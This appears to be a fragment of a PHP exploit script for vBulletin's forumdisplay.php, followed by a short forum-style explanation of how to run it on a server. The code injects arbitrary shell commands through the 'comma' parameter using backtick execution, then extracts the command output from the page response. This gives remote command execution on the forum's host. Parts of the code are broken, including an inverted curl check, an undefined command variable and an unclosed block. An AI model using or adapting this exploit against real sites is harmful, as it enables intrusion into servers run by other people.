if (!(function_exists('curl_init'))) {

if ($argv[3]){
$url = $argv[1];
$forumid = intval($argv[2]);

$action = 'forumdisplay.php?GLOBALS[]=1&f='.$forumid.'&comma=".`echo _START_`.`'.$command.'`.`echo _END_`."';

$ch=curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.'/'.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
$res = substr($res, strpos($res, '_START_')+7);
$res = substr($res,0, strpos($res, '_END_'));
echo $res;

?>

You run the file -> if you're using regular windows, you wont be able to do that

put it on a server or something

If you dont have a server available, download apache2triad and run a server off your own computer
